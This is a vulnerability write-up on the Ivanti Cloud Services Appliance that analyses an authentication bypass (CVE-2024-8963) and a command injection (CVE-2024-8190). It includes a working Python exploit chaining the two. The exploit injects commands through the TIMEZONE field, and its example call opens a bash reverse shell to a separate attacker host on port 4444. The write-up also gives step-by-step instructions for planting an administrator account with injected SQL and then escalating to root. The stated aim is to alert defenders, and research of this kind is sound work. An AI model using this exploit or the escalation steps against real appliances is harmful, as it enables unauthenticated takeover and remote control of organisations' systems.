Vulnerability Review:Ivanti CSA Exploits Authentication Bypass (CVE-2024-8963) and Command Injection (CVE-2024-8190)
Overview
Ivanti CSA is a unified endpoint management platform that provides a comprehensive suite of tools for managing and securing devices, applications, and data across an organization’s network. It offers features such as asset management, software deployment, remote control, and security policies to ensure compliance and protect against cyber threats.
In the most recent security research, Fortinet exposed a sophisticated cyberattack targeting Ivanti Cloud Services Appliance (CSA), which involved two previously unknown zero-day vulnerabilities [1]. This article thoroughly explores how attackers skillfully linked these vulnerabilities to gain initial access to the victims’ networks, highlighting the complexity and stealth of cyber threats.
The article emphasizes that the affected platforms are Ivanti CSA versions 4.6 and prior, meaning any organization using these versions could be at risk. A successful attack could result in remote attackers taking control of vulnerable systems, with the impact and severity level rated as “severe.”
Vulnerability ID | Vulnerability Type | Public Status | Disclosure Date | Affected Component | Description |
---|---|---|---|---|---|
CVE-2024-8190 | Command Injection Vulnerability | Publicly Disclosed | 2024-09-10 | /gsb/datetime.php | Affects CSA versions 4.6 and earlier, allowing attackers to execute command injection attacks. |
CVE-2024-8963 | Path Traversal Vulnerability | Not Publicly Disclosed | 2024-09-19 | /client/index.php | Allows attackers to access unauthorized resources through path traversal, such as users.php, etc. |
CVE-2024-9380 | Command Injection Vulnerability | Not Publicly Disclosed | 2024-10-08 | /gsb/reports.php | Affects the reports.php resource, allowing attackers to execute command injection attacks. |
Horizon3.ai publicly disclosed the command injection vulnerability CVE-2024-8190 in Ivanti Cloud Service Appliance (CSA) on September 10, 2024. Subsequently, Fortinet publicly disclosed two other severe vulnerabilities, CVE-2024-8963 and CVE-2024-9380, on October 8, 2024. Although details and exploit code for CVE-2024-8190 have been made public, there is a relative scarcity of detailed information and analysis materials regarding CVE-2024-8963. Therefore, I have decided to reproduce the vulnerability in Ivanti CSA version 4.6, conduct an in-depth analysis of CVE-2024-8963, and on this basis, discuss methods of exploiting the vulnerability and escalating privileges. Given that these vulnerabilities have been exploited by multiple organizations, the purpose of this article is to alert relevant personnel to pay sufficient attention to these vulnerabilities and to take prompt action for remediation in order to prevent potential security threats.
Technical Analysis
Authentication Bypass
According to the CSA setup tutorial, you can quickly build a vulnerability analysis lab environment. Once all preparations are complete, by executing the netstat
command, you can observe that the CSA Web service is provided by Broker, which is a Web service component implemented by CSA itself. When accessing PHP resources, Broker will start a php-cgi
process to handle the request.
1
2
3
4
5
6
7
8
9
10
11
[root@localhost ~]# netstat -punta | grep LISTEN
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 1/systemd
tcp 0 0 127.0.0.1:80 0.0.0.0:* LISTEN 1482/broker
tcp 0 0 192.168.32.127:80 0.0.0.0:* LISTEN 1482/broker
tcp 0 0 192.168.122.1:53 0.0.0.0:* LISTEN 1462/dnsmasq
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1002/sshd
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN 1029/postmaster
tcp 0 0 127.0.0.1:443 0.0.0.0:* LISTEN 1482/broker
tcp 0 0 192.168.32.127:443 0.0.0.0:* LISTEN 1482/broker
tcp6 0 0 :::111 :::* LISTEN 1/systemd
tcp6 0 0 :::22 :::* LISTEN 1002/sshd
The Web directory structure of CSA is shown in the figure. Each request is not directly handled by php-cgi
, but first goes through an authentication process. The permissions for accessing the corresponding directories are defined by the vroot
file.
1
2
3
4
[root@localhost webroot]# pwd
/opt/landesk/broker/webroot
[root@localhost webroot]# ls
allowed backups backups.vroot cba8.crt client client.vroot gsb gsbweb.vroot images index.tmpl ldmg.ico lib local.vroot mg.crt rc rc.vroot upload upload.vroot.unused
In the client.vroot
file, the allowedMethods
element defines the allowed HTTP request methods, which are limited to GET and HEAD requests. This ensures that clients can only access resources through these two methods, thereby limiting the operational permissions on server resources. The handler
element specifies that the handler for .php
files is CGI, and sets the path of the CGI handler to /usr/bin/php-cgi
, allowing the server to correctly execute PHP scripts. The authenticate
element is set to none
, indicating that no authentication is required for users accessing this directory, allowing all users to access the resources in the directory without logging in.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<application>
<environment>
<APPLICATION_ROOT>/gsb</APPLICATION_ROOT>
</environment>
<index>
<a href="http:///client/">Cloud Services Appliance Utilities</a>
<br>
<a href="http:///client/LDMGdeploy.pdf">User's Guide</a>
</index>
<directory>
<root>/client</root>
<location>/opt/landesk/broker/webroot</location>
<directoryDefault>/client/index.php</directoryDefault>
<authenticate>none</authenticate>
<protocol>BOTH</protocol>
<showDir>1</showDir>
<allowedMethods>
<verb>GET</verb>
<verb>HEAD</verb>
</allowedMethods>
<map>
<spec>*.php</spec>
<handler>CGI</handler>
<path>/usr/bin/php-cgi</path>
</map>
<hide>
<spec>*.desc</spec>
<spec>*.conf</spec>
</hide>
</directory>
</application>
In the gsbweb.vroot
file, the allowedMethods
element defines restrictions on HTTP request methods for different resources: for the favicon.ico
file, only GET requests are allowed, ensuring that clients can only retrieve the icon file; for the /gsb
directory, GET, POST, and HEAD requests are permitted, allowing users to retrieve resources, submit data, and obtain metadata about the resources. The handler
element specifies that .php
files are processed by the CGI handler, with the path set to /usr/bin/php-cgi
, ensuring that PHP scripts can be executed correctly. The authenticate
element is set to AdminLocalNoauth
for the /gsb
directory, meaning that access to this directory requires specific local administrator authentication without full identity verification. This could be a special permission control strategy, allowing only certain local administrator users to access it without going through a complete authentication process.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<application>
<environment>
<APPLICATION_ROOT>/gsb</APPLICATION_ROOT>
</environment>
<index><a href="https:///gsb/">Cloud Services Appliance Console</a></index>
<file>
<root>/favicon.ico</root>
<location>/opt/landesk/broker/webroot</location>
<protocol>BOTH</protocol>
<allowedMethods>
<verb>GET</verb>
</allowedMethods>
</file>
<directory>
<root>/gsb</root>
<location>/opt/landesk/broker/webroot</location>
<directoryDefault>/gsb/index.php</directoryDefault>
<authenticate>AdminLocalNoauth</authenticate>
<protocol>HTTPSWithHTTPLocal</protocol>
<showDir>1</showDir>
<allowedMethods>
<verb>GET</verb>
<verb>POST</verb>
<verb>HEAD</verb>
</allowedMethods>
<map>
<spec>*.php</spec>
<handler>CGI</handler>
<path>/usr/bin/php-cgi</path>
</map>
</directory>
</application>
By performing reverse engineering analysis on Broker, one can carefully craft an attack payload as shown in the figure to trigger an authentication bypass vulnerability.
Broker executes the php-cgi
program using the execve
function and passes request information such as script_name
and path_info
as environment variables to php-cgi
. This mechanism allows php-cgi
to obtain the relevant request information during execution, enabling it to correctly process the request and generate the appropriate response content.
1
2
3
PATH_INFO /gsb/index.php
PATH_TRANSLATED /opt/landesk/broker/webroot/gsb/index.php
SCRIPT_NAME /client/index.php
According to the source code of php-cgi
, it can be seen that it determines the full path of the currently executing script by obtaining the environment variable SCRIPT_FILENAME
. Under normal circumstances, this value is passed to the CGI program by the Web server, indicating the file path of the PHP script to be executed. However, in some cases, if SCRIPT_FILENAME
does not have a value, php-cgi
will use PATH_TRANSLATED
as the script path.
For Broker, when executing php-cgi
, it passes environment variables through the execve
function, but does not set SCRIPT_FILENAME
. In this case, php-cgi
may rely on PATH_TRANSLATED
to determine the script path.
Command Injection
CVE-2024-8190
According to the analysis of CVE-2024-8190 by horizon3, in the datetime.php
file, when the dateTimeFormSubmitted
parameter meets certain conditions, it calls the handleDateTimeSubmit
method in DateTimeTab.php
. This method passes the unfiltered $TIMEZONE
parameter to the setSystemTimeZone
method, allowing malicious input to be executed by the exec()
function, thereby causing a command injection vulnerability. However, the exploit script provided by horizon3 requires authentication.
To achieve unauthenticated command execution, the vulnerability can be combined with an authentication bypass vulnerability.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import re
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxy = {
}
def exploit(url, command):
s = requests.Session()
r = s.get(f"{url}/client/index.php/gsb/datetime.php", verify=False, proxies=proxy)
m = re.search(r"name=['\"]LDCSA_CSRF['\"]\s+value=['\"]([^'\"]+)['\"]", r.text)
if m:
ldcsa = m.group(1)
print(f"[+] Got LDCSA_CSRF value: {ldcsa}")
else:
print(f"[-] Failed getting LDCSA_CRSF token")
sys.exit(0)
payload = {
"dateTimeFormSubmitted": "1",
"TIMEZONE": f"; `{command}` ;",
"CYEAR": "2024",
"CMONTH": "9",
"CDAY": "13",
"CHOUR": "12",
"CMIN": "34",
"LDCSA_CSRF": ldcsa,
"SUBMIT_TIME": "Save"
}
print(f"[*] Sending payload...")
r = s.post(f"{url}/client/index.php/gsb/datetime.php", verify=False, data=payload, proxies=proxy)
exploit("https://192.168.32.127", "bash -i >& /dev/tcp/192.168.32.128/4444 0>&1")
Privilege Escalation
According to Fortinet’s analysis of CVE-2024-8190, there is another command execution vulnerability in reports.php
, which has root privileges. When the page loads, the showFilesLog
method is called, which ultimately invokes the exec
function to execute the tripwire
command with sudo
privileges. Although the input data is filtered using escapeshellarg
, when it is passed to the update
function of tripwire
, parameter concatenation still occurs, leading to command execution.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class page extends GWSitePage
{
function __construct( $config )
{
parent::__construct( $config );
$a = new reportsTab("t1","Reports");
$this->addPane( $a );
$this->setDefaultPane( "t1" );
}
function displayHilites()
{
print(getString('WEB_REPORTS_BROKER_HELP'));
}
}
$page = new page($config);
However, this vulnerability cannot be exploited in conjunction with an authentication bypass vulnerability, as it presupposes that the attacker already has a valid account. To this end, I have devised the following method to exploit the vulnerability:
-
Obtain CSA backup file: First, use the CVE-2024-8190 vulnerability to successfully acquire the backup file of the CSA (Ivanti Cloud Service Appliance). This backup file contains key data and configuration information of the CSA, laying the foundation for subsequent operations.
-
Import local simulation environment and create an account: Import the obtained target backup file into the locally built CSA simulation environment. Use the command-line tool
/opt/landesk/broker/dbtool
to create an account with administrative privileges in the simulation environment. This step allows us to have higher operational permissions in the simulation environment, preparing for further vulnerability exploitation. -
Export backup and extract SQL statement: Perform a backup operation in the local simulation environment to export a new backup file. Carefully analyze this backup file and precisely extract the SQL statement used when creating the user. This SQL statement contains key information required to create an administrative account, such as the username and password.
-
Execute SQL statement using CVE-2024-8190: Use the extracted SQL statement as a parameter and exploit the CVE-2024-8190 vulnerability again to execute the SQL statement in the real target CSA environment. In this way, an administrative account is successfully created in the target CSA, bypassing the original authentication restrictions.
-
Log in with the user and execute the privilege escalation vulnerability: Log in to the CSA with the newly created administrative account, which now has higher operational permissions. Then, execute known privilege escalation vulnerability exploitation methods to further elevate privileges and gain the highest level of system control.
Reference
[1] https://www.fortinet.com/blog/threat-research/burning-zero-days-suspected-nation-state-adversary-targets-ivanti-csa
[2] https://www.horizon3.ai/attack-research/cisa-kev-cve-2024-8190-ivanti-csa-command-injection
[3] https://www.youtube.com/watch?v=f3bP-wm5tJA
[4] https://download.ivanti.com/product/CSA/46/ldcsa-scsi-csrffix.iso
[5] https://github.com/hoohack/read-php-src/blob/36c410bfe7f8afce9aff92fb196e4243984491cb/php-5.4/sapi/cgi/cgi_main.c#L1146